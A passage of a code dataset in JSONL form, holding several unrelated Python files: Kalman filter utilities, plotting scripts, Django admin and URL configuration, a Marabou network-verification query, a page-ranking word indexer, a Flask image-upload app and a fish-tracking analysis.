zPts[i][nz:(2 * nz + 1)] = xPts[i][nx:(nx + nz)]\n\n zp = np.zeros(nz * 2)\n for zi, wmi in zip(zPts, wmPts):\n zp += zi * wmi\n\n Pzz = np.zeros((nz * 2, nz * 2))\n Pxz = np.zeros((nx + nz, nz * 2))\n for i, (zi, wci) in enumerate(zip(zPts, wcPts)):\n dz = (zi - zp).reshape(nz * 2, 1)\n Pzz += wci * np.dot(dz, dz.T)\n dx = (xPts[i] - x).reshape(nx + nz, 1)\n Pxz += wci * np.dot(dx, dz.T)\n\n innovation = z - zp\n S = Pzz\n invS = np.mat(S).I.A\n K = np.dot(Pxz, invS)\n\n # Update the state\n xhat = x + np.dot(K, innovation)\n Phat = P - np.dot(K, np.dot(Pzz, K.T))\n\n data = {\"innovation\": innovation[:nz], \"S\": S[:nz, :nz], \"K\": K[:nx, :nz]}\n if meta is not None:\n for key in meta:\n for dkey in data:\n if key == dkey:\n meta[key] = data[dkey]\n\n return (t, xhat[:nx], Phat[:nx, :nx])\n\n return f\n\n\ndef unscented_transform(x, P, alpha=1e-3, beta=2, kappa=0):\n \"\"\"This function returns the Sigma Points of the distribution.\n\n xPts, wmPts, wcPts = unscented_transforms(x,P, alpha=1e-3, beta=2, kappa=0)\n\n Inputs:\n x - mean\n P - covariance\n\n Outputs:\n xPts - The sigma points (if len(x)=N, len(xPts) = 2N+1)\n wmPts - The weights on the points for the mean [x = sum_{i=0}{2N} wmPts_i xPts_i]\n wcPts - The weights on the points for the covariance [P = sum_{i=0}{2N} wcPts_i (xPts_i-x)^T(xPts_i-x)]\n \"\"\"\n\n # Number of sigma points and scaling terms\n na = len(x)\n nPts = 2 * na + 1\n lamb = alpha ** 2 * (na + kappa) - na\n\n # Calculate matrix square root of weighted covariance matrix\n Psqrtm = sqrtm((na + lamb) * P)\n\n xPts = np.zeros((nPts, na))\n xPts += x\n xPts[1:na + 1] += Psqrtm\n xPts[na + 1:nPts] -= Psqrtm\n\n # Weights for the mean\n wmPts = 0.5 * np.ones(nPts) / (na + lamb)\n wmPts[0] = lamb / (na + lamb)\n\n # Weights for the covariance\n wcPts = 0.5 * np.ones(nPts) / (na + lamb)\n wcPts[0] = lamb / (na + lamb) + 1 - alpha ** 2 + beta\n\n return xPts, wmPts, wcPts\n\n\ndef kalman_derivative(model):\n \"\"\"The derivative for propagating state and covariance jointly\n in the continuous Kalman prediction step\n \"\"\"\n n = model.state_dimension_\n\n def f(xP, t, sign):\n x = xP[0:n]\n P = xP[n:len(xP)].reshape(n, n)\n\n xdot = model.derivative(t, x)\n J = model.jacobian(t, x)\n Q = model.process(t, x)\n Pdot = np.dot(J, P) + np.dot(P, J.T) + sign * Q\n return np.hstack((xdot, Pdot.flatten()))\n\n return f\n\n\ndef fuse_states(*args):\n \"\"\"Fusion equation for multiple independent state estimates\n \"\"\"\n Ps = 0\n Xs = 0\n for arg in args:\n t, x, P = arg\n Pi = np.mat(P).I.A\n Ps += Pi\n Xs += np.dot(Pi, x)\n Ps = np.mat(Ps).I.A\n Xs = np.dot(Pi, Xs)\n return Xs, Ps\n","sub_path":"peds/kalman/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":8180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"513740817","text":"import json\nimport numpy as np\nfrom tabulate import tabulate\nfrom os import listdir\nimport matplotlib.pyplot as plt\n\nobjects = [\"{:02d}\".format(i+1) for i in range(30)]\n\n\ndef process_object(obj, data_split, approach, tau, thres, sort=False):\n # Load VSD from json\n base_path = \"/home/hampus/Dropbox/PhD_stuff/results/\"\n json_path = base_path + data_split + \"/obj\" + obj + \"/eval/\" + approach + \"-obj\" + obj + \"_tless-\" + data_split + \"-primesense/error=vsd_ntop=-1_delta=15.000_tau=\" + tau + \"/matches_th=\" + thres + \"_min-visib=0.100.json\"\n data = []\n try:\n with open(json_path) as f:\n data = json.load(f)\n print(\"Loaded a data vector of length: \", len(data))\n except:\n print(\"something went wrong!\")\n\n #exit()\n\n pruned = []\n for d in data:\n if d['obj_id'] == int(obj) and d['valid']:\n # print(d)\n #if d['error'] == -1: # turn one element lists into values instead\n # print(d)\n if d['error'] != -1: # turn one element lists into values instead\n d['error'] = d['error'][0]\n if d['error_norm'] != -1: # turn one element lists into values instead\n d['error_norm'] = d['error_norm'][0]\n pruned.append(d)\n\n #pruned = np.array(pruned)\n #pruned = np.where(pruned<0, 1, pruned)\n\n if sort:\n pruned = sorted(pruned, key = lambda i: i['error'])\n #print(pruned)\n print(\"Relevant values: {}\".format(len(pruned)))\n return [ent['error'] for ent in pruned]\n\nobjects = [\"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"10\",\n \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"19\", \"20\",\n \"21\", \"22\", \"23\", \"24\", \"25\", \"26\", \"27\", \"28\", \"29\", \"30\"]\n\n #\"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\",\n\nobjects1 = [\"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"10\"]\nobjects2 = [\"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"19\", \"20\"]\nobjects3 = [\"21\", \"22\", \"23\", \"24\", \"25\", \"26\", \"27\", \"28\", \"29\", \"30\"]\n\nobject = \"23\"\n\n# ours = np.array(process_object(object, \"test\", \"6views-depth-max30-199epochs\", \"0.500\", \"0.500\", True))\n# sund = np.array(process_object(object, \"test\", \"sundermeyer\", \"0.500\", \"0.500\", True))\n# #process_object(\"20\", \"test\", \"sundermeyer\")\n# ours = np.where(ours<0, 1, ours)\n# sund = np.where(sund<0, 1, sund)\n#\n# fig, ax = plt.subplots()\n#\n# ax.plot(ours, label='ours')\n# ax.plot(sund, label='sund')\n# legend = ax.legend(loc='upper center')\n# plt.show()\n\nfig, ax = plt.subplots(3, figsize=(20, 30))\n\n#plt.axis('off')\n#fig.axes.axis('tight')\n#fig.axes.get_xaxis().set_visible(False)\n#fig.axes.get_yaxis().set_visible(False)\n\nfig.subplots_adjust(left=0.05,right=0.95,bottom=0.05,top=0.95)\n\nSMALL_SIZE = 16\nMEDIUM_SIZE = 18\nBIGGER_SIZE = 20\n\nplt.rc('font', size=SMALL_SIZE) # controls default text sizes\nplt.rc('axes', titlesize=SMALL_SIZE) # fontsize of the axes title\nplt.rc('axes', labelsize=MEDIUM_SIZE) # fontsize of the x and y labels\nplt.rc('xtick', labelsize=SMALL_SIZE) # fontsize of the tick labels\nplt.rc('ytick', labelsize=SMALL_SIZE) # fontsize of the tick labels\nplt.rc('legend', fontsize=SMALL_SIZE) # legend fontsize\nplt.rc('figure', titlesize=BIGGER_SIZE) # fontsize of the figure title\n\nimport numpy.matlib as npm\n\nN = 256\nvals = np.ones((N, 4))\nvals[:, 0] = np.matlib.repmat(np.linspace(0, 1, int(N/4)),4,1).flatten()\nvals[:, 1] = np.matlib.repmat(np.linspace(0, 1, int(N/2)),2,1).flatten()\nvals[:, 2] = np.linspace(0, 1, N)\nfrom matplotlib.colors import ListedColormap, LinearSegmentedColormap\n#cm = ListedColormap(vals)\ncm = plt.get_cmap('tab10')\n\nfrom cycler import cycler\n\nsort_before_diff = False\ntau = \"0.500\"\nthres = \"0.500\"\n\nfor i, list in enumerate([objects1, objects2, objects3]):\n NUM_COLORS = 10 #len(list)\n ax[i].set_prop_cycle(cycler('color', [cm(1.*i/NUM_COLORS) for i in range(NUM_COLORS)]) + cycler(linestyle=['-', '--', '-', '--', '-', '--', '-', '--', '-', '--', ]))\n for o in list:\n print(\"Comparing object {}\".format(o))\n ours = np.array(process_object(o, \"test\", \"6views-depth-max30-199epochs\", tau, thres, sort_before_diff))\n sund = np.array(process_object(o, \"test\", \"sundermeyer\", tau, thres, sort_before_diff))\n ours = np.where(ours<0, 1, ours)\n sund = np.where(sund<0, 1, sund)\n\n diff = np.subtract(sund, ours)\n if not sort_before_diff:\n diff = np.sort(diff)\n else:\n shrink = 0.8\n diff = np.where(diff>1, diff-shrink, diff)\n diff = np.where(diff<-1, diff+shrink, diff)\n x = np.linspace(0, 1, len(diff))\n ax[i].plot(x, diff, label=o)\n ax[i].axis('tight')\n ax[i].axhline(y=0, color='grey', alpha=0.5)\n\n legend = ax[i].legend(loc='upper center', ncol=10)\nplt.show()\n","sub_path":"pytorch3d/plot_error_dist.py","file_name":"plot_error_dist.py","file_ext":"py","file_size_in_byte":4835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"593044526","text":"from django.contrib import admin\nfrom github_blog.models import Category, Post\ntry:\n from django_summernote.admin import SummernoteModelAdmin\n ModelAdmin = SummernoteModelAdmin\nexcept ImportError:\n ModelAdmin = admin.ModelAdmin\n\nclass CategoryAdmin(admin.ModelAdmin):\n list_filter = ('parent','is_published',)\n prepopulated_fields = {\"slug\": (\"title\",)}\n\nclass PostAdmin(ModelAdmin):\n fields = ('title', 'slug', 'category','tags', 'intro','body', 'is_published','created_by',)\n list_display = ('title', 'category','tag_list', 'is_published',)\n list_filter = ('category','is_published',)\n prepopulated_fields = {\"slug\": (\"title\",)}\n summernote_fields = '__all__'\n\n def get_changeform_initial_data(self, request):\n get_data = super(PostAdmin, self).get_changeform_initial_data(request)\n get_data['created_by'] = request.user.pk\n return get_data\n\n def get_queryset(self, request):\n return super().get_queryset(request).prefetch_related('tags')\n\n def tag_list(self, obj):\n return u\", \".join(o.name for o in obj.tags.all())\n\nadmin.site.register(Category, CategoryAdmin)\nadmin.site.register(Post, PostAdmin)\n","sub_path":"github_blog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"279242127","text":"\"\"\"biolab URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\r\nExamples:\r\nFunction views\r\n 1. Add an import: from my_app import views\r\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\r\nClass-based views\r\n 1. Add an import: from other_app.views import Home\r\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n 1. Import the include() function: from django.urls import include, path\r\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.contrib import admin\r\nfrom django.conf.urls import url\r\nfrom django.urls import path, include\r\nfrom student import views as user_views\r\nfrom equipment import views as eq\r\nfrom items import views as it_views\r\nfrom django.conf import settings\r\nfrom django.conf.urls.static import static\r\nfrom django.contrib.auth import views as auth_views\r\n\r\n\r\nurlpatterns = [\r\n path('admin/', admin.site.urls),\r\n path('home/', include('student.urls')),\r\n path('', user_views.welcome, name='welcome'),\r\n path('register/', user_views.register, name='register'),\r\n path('profile/', user_views.profile, name='profile'),\r\n path('updateProfile/', user_views.updateProfile, name='updateProfile'),\r\n path('login/', user_views.log_in, name='log_in'),\r\n path('logout/', user_views.log_out, name='log_out'),\r\n path('cart/', eq.cart, name='cart'),\r\n path('equipment/', include('equipment.urls')),\r\n path('adminsite/', user_views.adminsite, name='adminsite'),\r\n path('adminlogin/', user_views.adminlogin, name='adminlogin'),\r\n path('adminhome/',user_views.adminhome, name='adminhome'),\r\n path('adminprofile/', user_views.adminprofile, name='adminprofile'),\r\n path('adminlogout/', user_views.adminlogout, name='adminlogout'),\r\n path('updateAdmin/', user_views.updateAdmin, name='updateAdmin'),\r\n path('admindetails/', user_views.admindetails, name='admindetails'),\r\n path('items/',it_views.items,name='items'),\r\n path('categories/',it_views.categories,name='categories'),\r\n path('request/', it_views.request, name=\"request\"),\r\n url(r'^', include('items.urls')),\r\n\r\n\r\n\r\n]\r\n\r\nif settings.DEBUG:\r\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\r\n","sub_path":"bio-lab-app-1/biolab/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"353658532","text":"from environment import *\nfrom parameters import *\nfrom maraboupy import Marabou, MarabouCore, MarabouUtils\nimport sys\nfrom io import open\nimport os\n\ndef create_network(filename):\n\n input_op_names = [\"input\"]\n output_op_name = \"y_out\"\n\n network = Marabou.read_tf(filename, inputName=input_op_names,outputName=output_op_name)\n return network, input_op_names, output_op_name\n\ndef softmax(x):\n \"\"\"Compute softmax values for each sets of scores in x.\"\"\"\n e_x = np.exp(x - np.max(x))\n return e_x / e_x.sum()\n\n\ndef test(net, pa, emptyArray):\n # 100% resource occupation - with 5 pending big jobs (20 tu) *(10,10)\n num_of_new_jobs = pa.num_nw\n nw_len_seqs = np.zeros((1, 5), dtype='int32')\n nw_len_seqs.fill(20)\n nw_size_seq = np.zeros((1, num_of_new_jobs, 2), dtype='int32')\n nw_size_seq.fill(10)\n\n env = Env(pa, nw_len_seqs=nw_len_seqs, nw_size_seqs=nw_size_seq,\n render=False, end=\"all_done\")\n\n for i in range(num_of_new_jobs):\n env.step(5)\n print((\"Job queue occupation is {}/5\\nJob backlog occupation is {}/60 \").format(\n len(env.job_slot.slot), env.job_backlog.curr_size))\n jobLog = env.observe()\n env.plot_state()\n\n resource_cols = np.concatenate(\n [emptyArray[:, 0:10], emptyArray[:, 60:70]]).ravel()\n varNumArr = np.concatenate(emptyArray).ravel()\n LowerBoundList = np.concatenate(jobLog).ravel()\n UpperBoundList = np.concatenate(jobLog).ravel()\n job_cols = np.concatenate(\n [emptyArray[:, 10:60], emptyArray[:, 70:120]]).ravel()\n\n for i in np.nditer(resource_cols):\n LowerBoundList[i] = 0.1\n for i in np.nditer(resource_cols):\n UpperBoundList[i] = 1\n for var in zip(varNumArr, LowerBoundList, UpperBoundList):\n net.setLowerBound(var[0], var[1])\n net.setUpperBound(var[0], var[2])\n\n for outputVar, i in enumerate(net.outputVars[0][0:5]):\n eq = MarabouUtils.Equation(EquationType=MarabouCore.Equation.GE)\n eq.addAddend(-1, net.outputVars[0][5])\n eq.addAddend(1, i)\n eq.setScalar(0)\n net.addEquation(eq)\n\n return jobLog\n\n\ntest_number = \"4\"\n\npa = Parameters()\n\npb_file_name = \"model/nnet_conv_1820.pb\"\nnet, _, _ = create_network(pb_file_name)\n\nemptyArray = np.arange(2480, dtype='int32').reshape((20, 124))\ntest(net, pa, emptyArray)\nprint(\"Run marabou solver\")\nvals, stats = net.solve()\n\nprint(\"marabou run result: {} \".format(\n 'SAT' if len(list(vals.items())) != 0 else 'UNSAT'))\nif len(list(vals.items())) != 0:\n print(\"\\n*********** \\nTF outputs from marabou:\")\n outputs = [vals[net.outputVars.item(i)]\n for i in range(net.outputVars.size)]\n softmaxed_outputs = softmax(outputs)\n\n for i in range(net.outputVars.size):\n print(\"output {} = {} |||| after softmax: {:.5}\".format(\n i, outputs[i], softmaxed_outputs[i]))\n print(\"max value: {}\".format(\n np.argmax(outputs)))\n print(\"*********************\\n\")\n print(\"Run stats:\")\n print(\"getTotalTime: {}\".format(stats.getTotalTime()))\n print(\"getMaxStackDepth: {}\".format(stats.getMaxStackDepth()))\n print(\"getNumPops: {}\".format(stats.getNumPops()))\n print(\"getNumVisitedTreeStates: {}\".format(\n stats.getNumVisitedTreeStates()))\n print(\"getNumTableauPivots: {}\".format(stats.getNumTableauPivots()))\n print(\"getMaxDegradation: {}\".format(stats.getMaxDegradation()))\n print(\"getNumPrecisionRestoratins: {}\".format(\n stats.getNumPrecisionRestorations()))\n print(\"getNumSplits: {}\".format(stats.getNumSplits()))\n print(\"getNumPrecisionRestorations: {}\".format(\n stats.getNumPrecisionRestorations()))\n print(\"getNumSimplexPivotSelectionsIgnoredForStability: {}\".format(\n stats.getNumSimplexPivotSelectionsIgnoredForStability()))\n print(\"getNumSimplexUnstablePivots: {}\".format(\n stats.getNumSimplexUnstablePivots()))\nprint(\"end\")\n","sub_path":"deeprm-v/queries/marabou_property_4.py","file_name":"marabou_property_4.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"140932589","text":"\nfrom flask_app.config.mysqlconnection import connectToMySQL\nfrom flask_app.models import ninja\n\nclass Dojo:\n def __init__( self , data ):\n self.id = data['id']\n self.name = data['name']\n self.created_at = data['created_at']\n self.updated_at = data['updated_at']\n self.ninjas = []\n\n @classmethod\n def get_dojos(cls):\n query = \"SELECT * FROM dojos LEFT JOIN ninjas on dojos.id = ninjas.dojo_id;\"\n results = connectToMySQL('dojos_and_ninjas_schema').query_db(query)\n dojos = []\n\n for item in results:\n if len(dojos) == 0:\n new_dojo = Dojo(item)\n dojos.append(new_dojo)\n else:\n if item['id'] != dojos[-1].id:\n new_dojo = Dojo(item)\n dojos.append(new_dojo)\n if item['ninjas.id'] != None:\n ninja_data = {\n 'id': item['ninjas.id'],\n 'dojo_id': item['dojo_id'],\n 'first_name': item['first_name'],\n 'last_name': item['last_name'],\n 'created_at': item['ninjas.created_at'],\n 'updated_at': item['ninjas.updated_at']\n }\n new_ninja = ninja.Ninja(ninja_data)\n new_dojo.ninjas.append(new_ninja)\n new_ninja.dojo = new_dojo\n\n return dojos\n\n @classmethod\n def create_dojo(cls, data):\n query = \"INSERT INTO dojos (name) VALUE (%(dojo_name)s);\"\n results = connectToMySQL('dojos_and_ninjas_schema').query_db(query, data)\n return results","sub_path":"flask_app/models/dojo.py","file_name":"dojo.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"611624973","text":"\"\"\"Provides access to Figures models in the admin dashboard\n\"\"\"\n\nfrom django.contrib import admin\n\nimport figures.models\n\n\n@admin.register(figures.models.CourseDailyMetrics)\nclass CourseDailyMetricsAdmin(admin.ModelAdmin):\n \"\"\"Defines the admin interface for the CourseDailyMetrics model\n \"\"\"\n list_display = ('id', 'date_for', 'course_id', 'enrollment_count',\n 'average_progress', 'average_days_to_complete',\n 'num_learners_completed',)\n\n\n@admin.register(figures.models.SiteDailyMetrics)\nclass SiteDailyMetricsAdmin(admin.ModelAdmin):\n \"\"\"Defines the admin interface for the SiteDailyMetrics model\n \"\"\"\n list_display = ('id', 'date_for', 'cumulative_active_user_count',\n 'todays_active_user_count', 'total_user_count',\n 'course_count', 'total_enrollment_count',)\n\n\n@admin.register(figures.models.LearnerCourseGradeMetrics)\nclass LearnerCourseGradeMetricsAdmin(admin.ModelAdmin):\n \"\"\"Defines the admin interface for the LearnerCourseGradeMetrics model\n \"\"\"\n list_display = ('id', 'date_for', 'user', 'course_id',\n 'progress_percent', 'points_possible', 'points_earned',\n 'sections_worked', 'sections_possible')\n\n\n@admin.register(figures.models.PipelineError)\nclass PipelineErrorAdmin(admin.ModelAdmin):\n \"\"\"Defines the admin interface for the PipelineError model\n \"\"\"\n list_display = ('id', 'created', 'error_type', 'error_data', 'course_id',\n 'user')\n","sub_path":"figures/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"508690984","text":"import sys\nimport os.path as osp\nimport math\n\n\n\ndef readfile(file):\n contents = open(file, 'r')\n symbols = '''!()-[']{};:'\"\\,<>./?@#“““”’$%^&*_~'''\n wordDict = {}\n linenum = 0\n linelist = []\n wordcount = 0\n pageNum = 1\n for line in contents:\n linenum += 1\n if linenum % 26 == 0:\n pageNum += 1\n wordlist = line.split()\n for word in wordlist:\n word = word.lower()\n while (word[len(word) - 1] or word[0]) in symbols and len(word) > 1:\n\n if word[len(word) - 1] in symbols:\n # print(\"true\")\n word = word[0:len(word) - 1]\n if word[0] in symbols:\n\n word = word[1:len(word)]\n else:\n break\n\n if len(word) >= 3:\n if word not in wordDict:\n wordcount += 1\n num = 1\n wordDict[word] = [num, set(), set()]\n wordDict[word][1].add(linenum)\n wordDict[word][2].add(pageNum)\n else:\n wordDict[word][0] += 1\n wordDict[word][1].add(linenum)\n wordDict[word][2].add(pageNum)\n\n # print(word.lower() )\n\n removeTen(wordDict,wordcount)\n totals = pagerank(wordDict)\n makeReport(totals)\n #for keys in wordDict:\n #print(wordDict[keys])\n\n\ndef removeTen(dict,count):\n values = []\n removenum = math.ceil(count *.10)\n #print(count-removenum)\n for words in dict:\n values.append(dict[words][0])\n while removenum>0:\n target = min(values)\n removenum = removenum - 1\n rkey = \"\"\n for word in dict:\n if dict[word][0] == target:\n rkey=word\n del dict[rkey]\n\n #print(\"removed\", len(dict))\n\ndef pagerank(dict):\n pages= []\n\n keylist = getkeys()\n score = []\n for word in dict:\n pages.extend(dict[word][2])\n pagemax = max(pages)\n for pages in range(0,pagemax+1):\n single = onepage(dict,keylist,pages)\n pair = 0\n trip = 0\n four = 0\n\n if len(keylist)>=2:\n pair = two(dict, keylist, pages)\n if len(keylist)>=3:\n trip = threes(dict, keylist, pages)\n if len(keylist)== 4:\n four= fours(dict, keylist, pages)\n total = single+pair+trip+four\n score.append(total)\n return score\n\ndef onepage(dict, k, pg):\n points = 0\n\n for j in range(0, len(k)):\n info = dict.get(k[j])\n if pg in info[2]:\n points += 1\n return points\ndef two(dict, k, pg):\n score = 0\n\n for j in range(0,len(k)):\n for n in range(j+1,len(k)):\n data1 = dict.get(k[j])\n data2 = dict.get(k[n])\n if pg in data1[2] and pg in data2[2]:\n score += 2\n if data1[1].intersection(data2[1]) is not None:\n score += 5\n return score\n\n\ndef threes(dict, k, pg):\n score = 0\n\n for j in range(0, len(k)):\n for n in range(j + 1, len(k)):\n for m in range(n+1,len(k)):\n data1 = dict.get(k[j])\n data2 = dict.get(k[n])\n data3 = dict.get(k[m])\n if pg in data1[2] and pg in data2[2] and pg in data3[2]:\n score += 3\n \n if data1[1].intersection(data2[1]).intersection(data3[1]) is not None:\n score += 6\n return score\ndef fours(dict, k, pg):\n score = 0\n\n\n data1 = dict.get(k[0])\n data2 = dict.get(k[1])\n data3 = dict.get(k[2])\n data4 = dict.get(k[3])\n if pg in data1[2] and pg in data2[2] and pg in data3[2] and pg in data4[2]:\n score += 3\n if data1[1].intersection(data2[1]).intersection(data3[1]).intersection(data4[1]) is not None:\n score += 6\n return score\n\ndef getkeys():\n keys = []\n if len(sys.argv) == 3:\n keys.append(sys.argv[2])\n elif len(sys.argv) == 4:\n for i in range(2,4):\n keys.append(sys.argv[i])\n elif len(sys.argv) == 5:\n for i in range(2,5):\n keys.append(sys.argv[i])\n #print(sys.argv[i])\n elif len(sys.argv) == 6:\n for i in range(2,6):\n keys.append((sys.argv[i]))\n #print(sys.argv[i])\n #print(keys)\n return keys\n\ndef makeReport(scores):\n top = scores.index(max(scores))\n top = scores.index(max(scores))\n print(\"top page\", top, scores[top])\n for i in range(1,11):\n next= scores.index(max(scores))\n print(i,\". \", next , \"\\t\", max(scores))\n scores[next] = -1\n\n\n\n\n\n\nif len(sys.argv) == 1:\n print(\"Please supply more arguments.\")\nelif len(sys.argv) > 6:\n print(len(sys.argv))\n print(sys.argv[:])\nelse:\n filename = sys.argv[1]\n\n\n if not osp.exists(filename):\n print(\"The file \", filename, \"does not exist. Try again.\")\n elif not osp.isfile(filename):\n print(\"The name \", filename, \"is not a file. Try again.\")\n else:\n try:\n this = open(filename)\n except PermissionError:\n print(\"You do not have permission to access the directory \", filename)\n sys.exit()\n readfile(filename)\n\n\n","sub_path":"PageRank.py","file_name":"PageRank.py","file_ext":"py","file_size_in_byte":5280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"557800972","text":"import os\n# request フォームから送信した情報を扱うためのモジュール\n# redirect ページの移動\n# url_for アドレス遷移\nfrom flask import Flask, request, redirect, url_for, render_template, current_app\n# ファイル名をチェックする関数\nfrom werkzeug.utils import secure_filename\n# 画像のダウンロード\nfrom flask import send_from_directory\nfrom livereload import Server, shell\nimport numpy as np\nfrom helper import get_hsv_from_path, get_hsv_info\nimport pickle\n\n# 画像のアップロード先のディレクトリ\nUPLOAD_FOLDER = './uploads'\n# アップロードされる拡張子の制限\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'gif'])\n\napp = Flask(__name__)\n# remember to use DEBUG mode for templates auto reload\n# https://github.com/lepture/python-livereload/issues/144\napp.debug = True\n# print(app.wsgi_app) -> >\nserver = Server(app.wsgi_app)\n\nserver.watch('./uploads', )\n# server.serve(watch)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n# global constant\nhue_constant = 18\npixel_resolution = 30\n\n# global variable\nhue_block = []\n\ndef allwed_file(filename):\n # .があるかどうかのチェックと、拡張子の確認\n # OKなら1、だめなら0\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n# http://127.0.0.1:5000をルートとして、(\"\")の中でアクセスポイント指定\n# @app.route(\"hoge\")などで指定すると、http://127.0.0.1:5000/hogeでの動作を記述できる。\n@app.route('/', methods=['GET', 'POST'])\ndef uploads_file():\n # リクエストがポストかどうかの判別\n if request.method == 'POST':\n # ファイルがなかった場合の処理\n if 'file' not in request.files:\n flash('ファイルがありません')\n return redirect(request.url)\n # データの取り出し\n file = request.files['file']\n # ファイル名がなかった時の処理\n if file.filename == '':\n flash('ファイルがありません')\n return redirect(request.url)\n # ファイルのチェック\n if file and allwed_file(file.filename):\n # 危険な文字を削除(サニタイズ処理)\n filename = secure_filename(file.filename)\n # ファイルの保存\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n with open(\"target.npy\", \"rb\") as f:\n np_im = np.load(f)\n try:\n with open(\"hue_block.pkl\", \"rb\") as f:\n hue_block = pickle.load(f)\n except:\n raise Exception(\"perhaps no pkl file.\")\n hsv = get_hsv_from_path(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n\n # TODO:target.npyの更新\n # 画像のhue, sat, briを計算\n # 正方形にする\n # hue_blockの対象カテゴリを最新の画像で置換\n # アップロード後のページに転送\n\n img = Image.fromarray(np_im)\n return render_template(\"index.html\")\n if request.method == 'GET':\n print(current_app)\n print(dir(current_app))\n # target.npyを画像にする下に手渡す\n return render_template(\"index.html\")\n\n@app.route('/admin', methods=['GET', 'POST'])\ndef set_target():\n # リクエストがポストかどうかの判別\n if request.method == 'POST':\n # ファイルがなかった場合の処理\n if 'file' not in request.files:\n flash('ファイルがありません')\n return redirect(request.url)\n # データの取り出し\n file = request.files['file']\n # ファイル名がなかった時の処理\n if file.filename == '':\n flash('ファイルがありません')\n return redirect(request.url)\n # ファイルのチェック\n if file and allwed_file(file.filename):\n # 危険な文字を削除(サニタイズ処理)\n filename = secure_filename(file.filename)\n # ファイルの保存\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n hsv = get_hsv_from_path(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n with open(\"target.npy\", \"wb\") as f:\n np.save(f, hsv)\n # target.npyを使ってhue_blockの作成\n max_0dim = hsv.shape[0] // pixel_resolution\n max_1dim = hsv.shape[1] // pixel_resolution\n hue_block = [[] for _ in range(hue_constant)]\n for i in range(max_0dim):\n for j in range(max_1dim):\n block_hsv = hsv[i*pixel_resolution : (i + 1) * pixel_resolution, \\\n j*pixel_resolution : (j + 1) * pixel_resolution, :]\n hue_category, avg_s, avg_v = get_hsv_info(block_hsv, hue_constant)\n hue_block[hue_category].append((i,j,avg_s,avg_v))\n with open(\"hue_block.pkl\", \"wb\") as f:\n pickle.dump(hue_block, f)\n\n return redirect(url_for(\"uploads_file\"))\n return render_template(\"admin.html\")\n\n@app.route('/uploads/')\n# ファイルを表示する\ndef uploaded_file(filename):\n return send_from_directory(app.config['UPLOAD_FOLDER'], filename)\n\nif __name__ == \"__main__\":\n # webサーバー立ち上げ\n app.run()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"533239776","text":"def DistanceFromSource(TMin, TMax):\n\n import Tkinter, tkFileDialog\n import math\n import numpy as np\n from scipy import stats\n import pandas as pd\n import os\n import re\n\n # root = Tkinter.Tk()\n # root.withdraw()\n # data_folder = tkFileDialog.askdirectory(parent=root,initialdir=\"/\",title='Please select folder containing fish data:')\n # data_folder = '%s/FishData' % data_folder\n data_folder = raw_input(\"Input name of folder containing LoadData output: \")\n data_folder = '%s/FishData' % data_folder\n save_folder = os.path.dirname(data_folder)\n\n # Get distance for probability distribution\n X_mm = 30\n Y_mm = 75\n Diag_mm = math.sqrt(X_mm**2 + Y_mm**2)\n # Create list of values from 1 to Diag_mm\n pts = list(range(1,int(Diag_mm)+1))\n\n # Write helper function to import csv files in correct order\n _nsre = re.compile('([0-9]+)')\n def natural_sort_key(s):\n return [int(text) if text.isdigit() else text.lower()\n for text in re.split(_nsre, s)]\n\n # Get (and sort) all csv files in folder\n csvfiles = []\n for File in os.listdir(data_folder):\n if File.endswith('.csv'):\n csvfiles.append(os.path.join(data_folder, File))\n csvfiles.sort(key=natural_sort_key)\n\n data = pd.DataFrame(columns = ['Fish Number', 'Mean dist','Median dist','SD dist','Max time spent dist',\n 'Area 25','Area 50','Area 75'])\n mean_dist = []\n median_dist = []\n std_dist = []\n max_time_spent_dist = []\n area25 = []\n area50 = []\n area75 = []\n area100 = []\n for i in range(1, len(csvfiles)+1):\n print('Fish %s' % i)\n File = pd.read_csv(csvfiles[i-1])\n\n # Convert time to frames\n TMin1 = int(round(File['Sampling_Rate'][0]*TMin))\n TMax1 = int(round(File['Sampling_Rate'][0]*TMax))\n\n X = 